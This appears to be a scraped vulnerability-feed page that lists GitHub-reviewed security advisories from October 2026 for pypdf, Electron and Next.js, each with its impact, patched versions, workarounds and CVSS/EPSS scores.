https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113790&date=2026-10-25 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing arrays and/or dictionaries with lots of elements. ### Patches This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4218](https://github.com/py-pdf/pypdf/pull/4218). Affected package ranges reported by GitHub: pypdf: < 6.21.0 Action: GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pypdf: Possible large memory usage when parsing content streams https://kevwire.com/record/CVE-2026-113791 pypdf: Possible large memory usage when parsing content streams (Oct 22, 2026). An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing content streams with many small operations. This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0). CVSS 6.0 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-cgf9-327m-v77c). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113791&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-cgf9-327m-v77c: https://github.com/advisories/GHSA-cgf9-327m-v77c GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113791&date=2026-10-25 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing content streams with many small operations. ### Patches This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4218](https://github.com/py-pdf/pypdf/pull/4218). Affected package ranges reported by GitHub: pypdf: < 6.21.0 Action: GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: SameSite cookie restrictions are not applied to windows opened from links https://kevwire.com/record/CVE-2026-113796 Electron: SameSite cookie restrictions are not applied to windows opened from links (Oct 22, 2026). Pages opened into a new window from a link were loaded as if the app itself had navigated there rather than the page that contained the link, so the request was treated as same-site: `SameSite=Strict` cookies were sent and `Sec-Fetch-Site` did not identify the initiating page. Content shown in the app could use this to make a credentialed top-level request to another site that relies on SameSite cookies as a CSRF defence. Apps are only affected if they load untrusted content and allow it to open new windows. Apps that deny new windows from untrusted content with `setWindowOpenHandler` are not affected. CVSS 4.2 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-2p8c-gr87-2676). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113796&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-2p8c-gr87-2676: https://github.com/advisories/GHSA-2p8c-gr87-2676 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113796&date=2026-10-25 ### Impact Pages opened into a new window from a link were loaded as if the app itself had navigated there rather than the page that contained the link, so the request was treated as same-site: `SameSite=Strict` cookies were sent and `Sec-Fetch-Site` did not identify the initiating page. Content shown in the app could use this to make a credentialed top-level request to another site that relies on SameSite cookies as a CSRF defence. Apps are only affected if they load untrusted content and allow it to open new windows. Apps that deny new windows from untrusted content with `setWindowOpenHandler` are not affected. ### Workarounds Return `{ action: 'deny' }` from `setWindowOpenHandler` for windows opened by untrusted content. ### Fixed Versions * `45.0.0-alpha.6` * `44.3.0` * `43.7.0` * `42.11.3` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.6 electron: >= 44.0.0-alpha.1, < 44.3.0 electron: >= 43.0.0-alpha.1, < 43.7.0 electron: < 42.11.3 Action: GitHub lists first patched versions: electron: 45.0.0-alpha.6; electron: 44.3.0; electron: 43.7.0; electron: 42.11.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: Pointer lock permission requests can be attributed to the wrong frame https://kevwire.com/record/CVE-2026-113798 Electron: Pointer lock permission requests can be attributed to the wrong frame (Oct 22, 2026). Apps are only affected if they embed untrusted content in iframes and decide `pointerLock` requests by origin in `setPermissionRequestHandler`. Apps that do not embed untrusted content, or that deny `pointerLock` for it, are not affected. CVSS 5.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-x562-297c-g43g). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113798&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-x562-297c-g43g: https://github.com/advisories/GHSA-x562-297c-g43g GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113798&date=2026-10-25 ### Impact For `pointerLock` permission requests made from some cross-origin iframes, `session.setPermissionRequestHandler()` was given the top-level frame's `requestingUrl` and `isMainFrame` instead of the requesting frame's. Apps that grant pointer lock based on the requesting origin could grant it to embedded content under the top-level page's identity. Apps are only affected if they embed untrusted content in iframes and decide `pointerLock` requests by origin in `setPermissionRequestHandler`. Apps that do not embed untrusted content, or that deny `pointerLock` for it, are not affected. ### Workarounds Deny the `pointerLock` permission for web contents that embed untrusted frames. ### Fixed Versions * `45.0.0-alpha.13` * `44.5.0` * `43.7.6` * `42.11.9` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.13 electron: >= 44.0.0-alpha.1, < 44.5.0 electron: >= 43.0.0-alpha.1, < 43.7.6 electron: < 42.11.9 Action: GitHub lists first patched versions: electron: 45.0.0-alpha.13; electron: 44.5.0; electron: 43.7.6; electron: 42.11.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: Extension tabs.query returns tab URLs and titles without the tabs permission https://kevwire.com/record/CVE-2026-113797 Electron: Extension tabs.query returns tab URLs and titles without the tabs permission (Oct 22, 2026). Apps are only affected if they load extensions (`session.extensions.loadExtension`) that they do not fully trust. Apps that load no extensions, or only trusted ones, are not affected. CVSS 3.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-98mx-cjp9-gchm). EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113797&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-98mx-cjp9-gchm: https://github.com/advisories/GHSA-98mx-cjp9-gchm GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113797&date=2026-10-25 ### Impact `chrome.tabs.query()` returned each tab's `url` and `title` to extensions that held neither the `tabs` permission nor matching host permissions, so any loaded extension could read the URL and title of every webContents in its session. Apps are only affected if they load extensions (`session.extensions.loadExtension`) that they do not fully trust. Apps that load no extensions, or only trusted ones, are not affected. ### Workarounds Do not load untrusted or unvalidated extensions. In general you should only load trusted extensions. ### Fixed Versions * `45.0.0-alpha.4` * `44.1.1` * `43.5.1` * `42.11.1` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.4 electron: >= 44.0.0-alpha.1, < 44.1.1 electron: >= 43.0.0-alpha.1, < 43.5.1 electron: < 42.11.1 Action: GitHub lists first patched versions: electron: 45.0.0-alpha.4; electron: 44.1.1; electron: 43.5.1; electron: 42.11.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: Frame subscription trusts GPU-supplied frame geometry https://kevwire.com/record/CVE-2026-114122 Electron: Frame subscription trusts GPU-supplied frame geometry (Oct 22, 2026). Apps are only affected if they use `webContents.beginFrameSubscription` and an attacker has separately gained code execution in the GPU process. Apps that do not subscribe to captured frames are not affected. CVSS 3.9 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-3qxv-5xgr-q7w9). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114122&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-3qxv-5xgr-q7w9: https://github.com/advisories/GHSA-3qxv-5xgr-q7w9 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114122&date=2026-10-25 ### Impact Frame data received from the GPU process for `webContents.beginFrameSubscription` was not fully validated by the main process. A compromised GPU process could cause the main process to read out-of-bounds memory while producing the captured frame images, disclosing memory or crashing the app. Apps are only affected if they use `webContents.beginFrameSubscription` and an attacker has separately gained code execution in the GPU process. Apps that do not subscribe to captured frames are not affected. ### Workarounds There are no app side workarounds, you must update to a patched version of Electron. ### Fixed Versions * `45.0.0-alpha.9` * `44.4.3` * `43.7.3` * `42.11.6` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: < 42.11.6 electron: >= 43.0.0-alpha.1, < 43.7.3 electron: >= 44.0.0-alpha.1, < 44.4.3 electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.9 Action: GitHub lists first patched versions: electron: 42.11.6; electron: 43.7.3; electron: 44.4.3; electron: 45.0.0-alpha.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: Off-screen rendering on macOS trusts GPU-supplied frame geometry https://kevwire.com/record/CVE-2026-114124 Electron: Off-screen rendering on macOS trusts GPU-supplied frame geometry (Oct 22, 2026). Apps are only affected if they use offscreen rendering (`webPreferences.offscreen`) on macOS and an attacker has separately gained code execution in the GPU process. Apps that do not use offscreen rendering are not affected. CVSS 3.9 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-h3v5-h239-pg29). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114124&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-h3v5-h239-pg29: https://github.com/advisories/GHSA-h3v5-h239-pg29 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114124&date=2026-10-25 ### Impact In offscreen rendering mode on macOS, frame data received from the GPU process was not fully validated by the main process. A compromised GPU process could cause the main process to read out-of-bounds memory while producing `paint` event images, disclosing memory or crashing the app. GHSA-pfmc-3mgc-p6fp covers the same issue on the other capture paths. Apps are only affected if they use offscreen rendering (`webPreferences.offscreen`) on macOS and an attacker has separately gained code execution in the GPU process. Apps that do not use offscreen rendering are not affected. ### Workarounds There are no app side workarounds, you must update to a patched version of Electron. ### Fixed Versions * `45.0.0-alpha.9` * `44.4.3` * `43.7.3` * `42.11.6` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: < 42.11.6 electron: >= 43.0.0-alpha.1, < 43.7.3 electron: >= 44.0.0-alpha.1, < 44.4.3 electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.9 Action: GitHub lists first patched versions: electron: 42.11.6; electron: 43.7.3; electron: 44.4.3; electron: 45.0.0-alpha.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: openExternal permission requests can be attributed to the wrong origin https://kevwire.com/record/CVE-2026-114121 Electron: openExternal permission requests can be attributed to the wrong origin (Oct 22, 2026). Apps are only affected if they grant `openExternal` based on the requesting origin and let untrusted content open or navigate windows. Apps whose permission handler denies `openExternal` for untrusted content are not affected. CVSS 5.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-997q-gvvc-jwmx). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114121&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-997q-gvvc-jwmx: https://github.com/advisories/GHSA-997q-gvvc-jwmx GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114121&date=2026-10-25 ### Impact Requests to open external protocol URLs could be attributed to a document other than the one that asked for them, so the `requestingUrl` passed to `session.setPermissionRequestHandler` was a trusted origin for a launch untrusted content had requested. An origin-based handler could therefore let untrusted content launch an OS-registered external application. Apps are only affected if they grant `openExternal` based on the requesting origin and let untrusted content open or navigate windows. Apps whose permission handler denies `openExternal` for untrusted content are not affected. ### Workarounds Deny the `openExternal` permission for untrusted content, or deny the windows it opens with `setWindowOpenHandler`. ### Fixed Versions * `45.0.0-alpha.5` * `44.3.0` * `43.7.0` * `42.11.3` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: < 42.11.3 electron: >= 43.0.0-alpha.1, < 43.7.0 electron: >= 44.0.0-alpha.1, < 44.3.0 electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.5 Action: GitHub lists first patched versions: electron: 42.11.3; electron: 43.7.0; electron: 44.3.0; electron: 45.0.0-alpha.5. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays https://kevwire.com/record/GHSA-673q-mjm6-r5xr Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays (Oct 22, 2026). A vulnerability in applications using App router with Cache Component can lead to remote code execution. The application needs to have a `use cache` function that returns multiple typed arrays. There is no known workaround for affected applications with such `use cache` functions. You should upgrade immediately even if your application does not have similar functions. CVSS 9.5 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-673q-mjm6-r5xr). Sources: GitHub-reviewed advisory GHSA-673q-mjm6-r5xr: https://github.com/advisories/GHSA-673q-mjm6-r5xr GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: 